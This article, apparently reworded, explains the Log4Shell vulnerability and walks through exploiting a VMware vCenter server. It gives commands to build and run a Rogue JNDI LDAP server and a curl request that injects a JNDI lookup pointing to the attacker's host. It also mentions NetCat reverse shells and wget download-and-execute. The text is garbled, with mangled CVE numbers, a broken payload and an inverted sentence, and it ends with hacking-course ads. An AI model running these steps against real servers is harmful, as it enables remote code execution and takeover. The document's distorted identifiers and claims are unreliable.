Log4Shell VMware Server (CVE-20211-44228).

Log4Shell, a critical vulnerability that has the highest CVSSv3 score possible of 10.0, affects thousands upon thousands of Apache Log4j products and makes millions potentially vulnerable. CVE-20221-44228 is a vulnerability that affects log4j versions 2.0.beta9 through 2.14.1. Log4j, a popular log library that is used in many products as well as various Apache frameworks such Struts2, Kafka and Druid, has been found to be vulnerable. Many commercial products, such as iCloud and Steam, Minecraft, AWS or VMware, have been found to be vulnerable.

A security researcher discovered the critical Log4J flaw and disclosed it to the Apache Software Foundation. However, the vulnerability became public after the game Minecraft released an update that addressed a security problem that allowed hackers to gain control of the server. The security community further investigated and discovered that the vulnerability was in Log4j.

Critical flaw lies in Java log4j’s JNDI function. This allows an attacker to create malicious code by querying the log file using LDAP. This malicious string will then be interpreted by the log4j libraries as a command and executed. The JNDI directory will send the request then to an attacker-controlled, LDAP server. The LDAP server reply can contain Java classes which the target host executes. An attacker may be able to inject the LDAP query from the attacker-controlled server into the log file of a target. This could allow remote command execution, allowing an attacker to gain control over the server. This vulnerability could also allow for the theft of sensitive data, as it can be used to access server environment variables. Further compromise can occur if sensitive information is stored in environment variables such as Git credentials and AWS keys. This vulnerability can be exploited by any service, app or system that receives input from users logged using a vulnerable Log4j version.

Let’s take a closer look at these 5 steps to better understand the vulnerability.

1. A malicious payload is passed to the endpoint by an attacker, which triggers the vulnerability. Log4J logs it. It could appear in the HTTP header of a login page, chat or other endpoints that log requests using user-supplied information.
2. Log4J is used to log the input of users.
3. Log4j executes the malicious payload, and then connects to an malicious LDAP server.
4. A remote file containing malicious commands is sent to the malicious LDAP server.
5. The remote Java class file is downloaded and executed by the application.

This is illustrated with some examples from the real world. A hacker could request a Log4j login form from a Log4j server by placing a payload with a malicious command inside an HTTP header. The header content is logged and interpreted by Log4j. A LDAP query to the malicious LDAP servers controlled by the attacker is then sent. The vulnerable server receives a remote Java file from the LDAP server. A vulnerable Minecraft server is another example. Payloads entered in game chat are being recorded by Log4j, and then executed by the server. On December 9, 2021, a proof-of-concept exploit was released for remote code execution vulnerabilities. Security researchers and threat intelligence experts noticed an increase in Log4J attacks, with more than 100 per minute. It must be noted that while there are a few confirmed attacks, the majority of attacks occur from researchers and security companies scanning for vulnerabilities.

CVE-2021-44228: Remote Code Execution (RCE) vulnerability

CVE-2021–45046: DOS vulnerability

Security Bulletin

A log4j vulnerability is also maintained by the Nationaal Cyber Security Centrum in the Netherlands.

VMware vCenter Log4Shell vulnerabilities

Several VMWare products are among the products affected that implement Log4j. VMware Security Advisory VMSA-2021 0028 states that exploitation attempts have been made in the wild. VMware Security Advisory VMSA-2021-0028 states that VMware exploits VMware vCenter Server instances accessible via the Internet. These vulnerabilities should be fixed immediately. VMware recommends applying VMware workarounds, installing the patches as soon as they are available or cutting off access to the server. VMware currently offers workarounds that include a Log4j configuration option that changes the ‘formatMsgNoLookupss’ property of the server to true. This can be used to mitigate the problem after restarting the system and to remove JndiLookup from the classpath.

-Dlog4j2.formatMsgNoLookups=true

VMware Security Advisory and FAQ

Log4Shell 7 in VMware vCenter Server 7: Testing and Exploitation

To test whether or not the VMware vCenter server in question is secure, we must inject a payload into the Log4J library. This can be done by attaching an x-forwarded for header to the request to the vCenter login webpage. BurpSuite allows us to modify the request. This is done by adding the x-forwarded for header that contains the payload.

The request will be sent to our NetCat listener.

This request does not contain a reverse shell, nor any interaction with it. However, it confirms code execution on the remote Log4J server. If we set up a local server for LDAP, we can respond to the request with malicious entries containing payloads to enable remote code execution. This whitepaper is an excellent introduction to JNDI injection, code execution and other topics.

Rogue JNDI allows us to set up a malicious server for JNDI injection attacks. Rogue JNDI has more information available:

Let’s set this up on our Kali Linux system with the following commands:

sudo apt-get install maven git clone https://github.com/veracode-research/rogue-jndi.git cd rogue-jndi mvn package

A more detailed guide on building and installing Rogue-jndi is available here:

The Rogue-jndi app can be installed to run a local LDAP Server with the following command.

java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test.txt" --hostname "172.16.5.2"

Command option refers to the command executed after the payload has been served to vulnerable servers in response to an LDAP query.

Next, inject the payload into the logs by using the x forward-for header and the following command

curl --insecure "https://10.15.1.201/websso/SAML2/SSO/vspheredemo.local?SAMLRequest=" -H "X-Forwarded-For: $jndi:ldap://172.16.5.2:1389/o=tomcat"

A HTTP Status code 403 is returned by the server. We can verify the application of the payload to the header when we use Curl with the -v option

The LDAP query is then sent to the local LDAP server. It requests the payload.

Finally, it is clear that the payload has been executed. The test.txt files have been created on VMware vCenter hosts:

NetCat, with the –e option (program execution after connect), is automatically installed on VMware vSphere servers. We can use this to obtain a reverse shell.

This demonstration uses NetCat to get a shell that is reversed from VMware vCenter. There are other methods to obtain a shell. We can use the wget command, which downloads files to vulnerable servers and then executes them.

VMware vCenter Server: Mitigating CVE-20241-44228

You can’t say enough about the importance of applying patches and other workarounds quickly, particularly when dealing with internet-connected systems. If they have not, it is not an issue of when, but if vulnerable systems will become compromised.

VMware is busy releasing patches for vulnerable products. There are workarounds for most products to mitigate this vulnerability. VMware updates its data constantly so we won’t provide any technical details. This means that the information could quickly become obsolete. To find out the possible workarounds, it is recommended that you use the below link to visit VMware’s website. These workarounds can be applied quickly and come with backups of any modified files so that you have a back-up in case something goes wrong. Restarting the server is not necessary. Only the VMware services can be restarted, resulting in short downtime of vCenter components.

VMware Security Advisory and FAQ

Conclusion

We can see the huge impact this vulnerability has on the world. The vulnerable apps are mostly used in enterprises. This vulnerability will likely be around for quite some time, as Log4J is widely used and not always obvious that it’s used for log purposes. It is important to keep an eye on the developments regarding this vulnerability as well as patches, because it’s possible that new attack vectors are discovered. We also see new vulnerabilities being discovered in patches. This is evident with the Apache HTTPD vulnerability, which was also vulnerable to denial-of service attacks. While you may think your application are secure and patched, this is something that you should not overlook.

You should also keep an eye out for the following list of patches and vulnerable software:

Hacking Courses

Bug Bounty: An Advanced Guide for Finding Good Bugs

Real World Bug Bounty Techniques

Website Hacking / Penetration Testing & Bug Bounty Hunting

Be a bug bounty hunter. You can hack websites and web apps like black-hat hackers, then secure them like professionals.